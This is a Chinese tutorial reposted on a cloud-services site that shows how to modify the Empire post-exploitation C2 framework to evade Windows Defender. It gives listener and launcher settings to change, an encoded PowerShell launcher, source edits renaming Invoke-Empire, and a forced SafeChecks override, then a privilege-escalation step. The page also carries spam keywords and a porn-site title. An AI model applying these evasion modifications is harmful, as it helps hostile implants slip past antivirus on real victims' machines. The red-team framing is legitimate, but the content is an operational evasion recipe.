中文字幕av专区_日韩电影在线播放_精品国产精品久久一区免费式_av在线免费观看网站

溫馨提示×

溫馨提示×

您好,登錄后才能下訂單哦!

密碼登錄×
登錄注冊×
其他方式登錄
點擊 登錄注冊 即表示同意《億速云用戶服務條款》

如何修改Empire繞過Windows Defender

發布時間:2021-10-11 15:41:31 來源:億速云 閱讀:194 作者:小新 欄目:編程語言

這篇文章主要介紹如何修改Empire繞過Windows Defender,文中介紹的非常詳細,具有一定的參考價值,感興趣的小伙伴們一定要看完!

防病毒規避技術一直以來是我最感興趣的研究方向之一。多年前,當我開始研究計算機科學時,我向我的顧問提出了一個主題,即通過映射二進制文件中的執行流,來改進防病毒引擎以檢測多態病毒。但隨著研究的深入,這個設想最終還是被否決了,所以我選擇了另一個研究課題。

如果你的工作是滲透測試或在紅隊中,那么防病毒繞過技術將是你必備的一項技能。但不得不說這也是一個令人沮喪的領域 - 雖說“基于簽名的”防病毒軟件在阻止威脅方面并沒有太大的作用,但有時卻會給我們帶來極大的麻煩。

我們知道想要逃避防病毒軟件最好的辦法就是“編寫自己的工具”。例如編寫一個自己的簡單反向shell,或是如果你有足夠的資金預算和時間,那么也可以嘗試從頭開發一個完善的C2架構。然而,大多數人還是依賴于安全社區中其他人開發的開源(和商業)工具。

說到這,我不得不提Empire。Empire是一款后滲透利用代理工具,其中包含了各種的攻擊性工具。這是一款非常強大的工具,如果在執行的過程中沒有被防病毒程序標記,那么它完全可以作為攻擊性操作的一部分使用。有一段時間,Empire對于逃避像Windows Defender這樣的程序非常有用。但現在已經不行了,如果你創建一個通用的http listener agent payload并在內存中執行,甚至還沒有觸及磁盤,你可能就會看到如下所示內容。

如何修改Empire繞過Windows Defender

可以看到,Windows Defender檢測并阻止了我們的行為。

但別忘了Empire是一款免費且開源的工具,我們可以通過修改一些關鍵區域來嘗試繞過客戶端防病毒軟件。

在我們的測試開始之前,我們先來關閉Windows Defender中的“Cloud-delivered Protection”,尤其是“自動樣本提交(Automatic sample submission)”。我們不希望我們的任何測試接入互聯網,并進入Windows Defender的分布式簽名當中。另外,請保持“實時保護(Real-time protection)”,以便我們測試執行的情況。

如何修改Empire繞過Windows Defender

記住!無論你做什么,都不要將病毒上傳到VIRUS TOTAL!否則你的一切努力都將白費!正如下面你將學到的,即使初始payload通過防病毒檢查,Windows Defender也可以檢測到Empire。

現在我們的測試實驗環境已準備就緒,是時候開始使用Empire了。

在前幾次繞過Windows Defender的嘗試中,我設置了Empire launcher payload內的misc選項,但最終都以失敗告終。

如何修改Empire繞過Windows Defender

如何修改Empire繞過Windows Defender

接著,我嘗試通過混淆的辦法來進行繞過。我嘗試使用powershell混淆工具來運行有效載荷。通過Unicorn運行它...?失敗。通過Veil Framework運行它...?失敗。通過Empire自己的原生Invoke-Obfuscation運行它...?還是失敗。

但我注意到一點,通過使用混淆工具我能夠將payload寫入磁盤,基本上是繞過了防病毒簽名,但在執行時會被檢測并阻止。

剖析 Empire

Empire生成的初始payload即所謂的“stager”,確切地說應該是stage0 payload。stager是一些代碼,用于遠程下載和執行另一個stager或實際payload。在我們的示例中,我們將使用multi/launcher powershell stager來獲取http listener。

測試stage0 payload實際上非常簡單。生成payload,將其寫入文件,然后傳輸到Windows機器。如果它在命中磁盤時觸發防病毒警告,則表示你還有許多其它工作需要做。如果它成功傳送并正常執行,則表示你獲取到了一個可用的stager。

一個非常重要的說明!在我的測試期間我遇到了一個問題,就是在反復進行payload測試后,Windows Defender很可能會將所有的powershell文件標記為病毒,甚至是空文件!如果發生這種情況,請重啟VM或計算機。我的看法是,Windows Defender可能知道我正在傳輸文件的主機是惡意的,因此無論文件是什么,PowerShell都會被禁止執行。

你可能會感到震驚,生成繞過Windows Defender的multi/launcher stager,只需使用Empire中顯示的選項即可實現。但我不會告訴你我所使用的確切選項,因為我知道有人會立即使用它們,并忽略我的警告將它們上傳到Virus Total。但我會向你們展示我建議修改的選項。

建議修改的 Empire http listener 選項

選項描述默認
默認配置文件Empire將在不同時間調用的三個URL以及User-Agent字符串。/admin/get.php,/news.php,/login/process.php|Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko
服務器版本Web服務器版本標識符Microsoft-IIS/7.5
主機你的主機(或IP)和端口號。 
端口應與指定的主機端口相同 
用戶代理Empire為模擬真實的Web瀏覽器流量而發送的用戶代理。Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/71.0.3578.98 Safari/537.36
StagerURI向Stager提供的URI。必須包括/download才能工作,而不需要進行額外的修改。 
證書路徑設置Empire時默認的自簽名證書位于./Empire/Data。根據環境的復雜程度,自簽名證書可能不起作用。Windows Defender不介意自簽名證書。 
默認Jitter向Empire服務器發送信標呼叫時的隨機延遲。0.0
Launcher用于執行stager的命令。powershell -noP -sta -w 1 -enc

建議修改的 Empire multi/launcher 選項

選項描述默認
Listener此項為必設項 
UserAgent用戶代理字符串 
SafeChecks嘗試檢測launcher是否在沙箱中運行。True
混淆混淆自動生成的launcher代碼。False
混淆命令使用的混淆命令。Token\All\1,Launcher\STDIN++\12467

這里給大家一個提示。將SafeChecks設置為false。SafeChecks試圖確定stager是否在防病毒沙箱中運行。此外,這也會減少大量生成的代碼,但由于我們被防病毒軟件檢測到了,因此顯然無法正常工作。

有了這樣一個被我們“武器化”的payload,是不是意味著我們就一定能夠運行Empire?如下所示payload將執行,并且你會看到一個初始連接Sending stage 1!接著便出現了問題。

如何修改Empire繞過Windows Defender

在測試期間,我決定關閉防病毒保護,在Windows主機上啟動Empire,然后重啟防病毒軟件。令我興奮的是,我的Empire beacon并沒有死!只要我們能讓Empire啟動就行。但為什么無法啟動呢?

深入挖掘Empire代碼庫會生成stage1代碼。這段代碼建立了加密安全環境以躲避檢測,但它本身并沒有以任何方式進行編碼。經過一些測試和錯誤之后,編輯了文件和某些部分,我確定應該問題應該出在invokeEmpire函數名。正如Black Hills Information Security文章中所建議的那樣,將函數名更改為invoke randomstringhere是阻止檢測的必要手段。盡管我們要做的只是修改invokeEmpire函數名,但如果你能進一步的更改stage1代碼,那無疑將是巨大的加分項。

Edit: ./Empire/data/agent/stagers/http.ps1:

Invoke-Empire -Servers @(($s -split "/")[0..2] -join "/") -StagingKey $SK -SessionKey $key -SessionID $ID -WorkingHours "WORKING_HOURS_REPLACE" -KillDate "REPLACE_KILLDATE" -ProxySettings $Script:Proxy;

Edit: ./Empire/data/agent/agent.ps1

function Invoke-Empire {

讓我們再次嘗試運行我們的Empire stager。

如何修改Empire繞過Windows Defender

可以看到我們成功繞過了Windows Defender!

由于是在完全修補的Win10主機上運行測試,因此提權的方法并不多。所以,讓我們嘗試一下powershell/privesc/ask模塊,它會彈出一個對話框,詢問用戶是否要以管理員身份運行powershell。漏洞利用成功彈出了對話框,這是一個好兆頭!我點擊是!然而什么也沒發生。

我承認這讓我感到有些困惑。如果我的stagers在初始利用時工作,那么為什么不能提權呢?經過一些調試之后,我能夠捕獲使用privesc/ask模塊發送的stager。雖然它包含了我在multi/launcher配置中設置的一些修改,但有一個明顯的區別。它還包含了我們之前設置為False的SafeChecks代碼!

如何修改Empire繞過Windows Defender

我不確定這里包含的SafeChecks,是否是由于Empire中存在的bug導致的。但是,SafeChecks代碼當前存在問題,似乎已被該Empire bug所證實。只需將選項設置始終保持為 False,就可以解決我們的問題。

Edit: ./Empire/lib/listeners/http.py:

def generate_launcher(self, encode=True, obfuscate=False, obfuscationCommand="", userAgent='default', proxy='default', proxyCreds='default', stagerRetries='0', language=None, safeChecks='', listenerName=None):
        """
        Generate a basic launcher for the specified listener.
        """

        # Add this line to override SafeChecks
        safeChecks='False'

運行`python -m compileall`并重啟Empire。然后啟動powershell/privesc/ask。

如何修改Empire繞過Windows Defender

以上是“如何修改Empire繞過Windows Defender”這篇文章的所有內容,感謝各位的閱讀!希望分享的內容對大家有幫助,更多相關知識,歡迎關注億速云行業資訊頻道!

向AI問一下細節

免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。

AI

林甸县| 泰州市| 绥宁县| 如东县| 西平县| 齐河县| 铜鼓县| 日土县| 苍梧县| 房产| 金阳县| 太仆寺旗| 屯门区| 樟树市| 定边县| 杭锦旗| 沂南县| 丹棱县| 永仁县| 平安县| 姜堰市| 安福县| 阳谷县| 垦利县| 北流市| 安泽县| 娄底市| 兰考县| 肥东县| 兰西县| 遂昌县| 响水县| 浑源县| 正定县| 佛冈县| 荥阳市| 合水县| 卢湾区| 敦煌市| 黑河市| 双流县|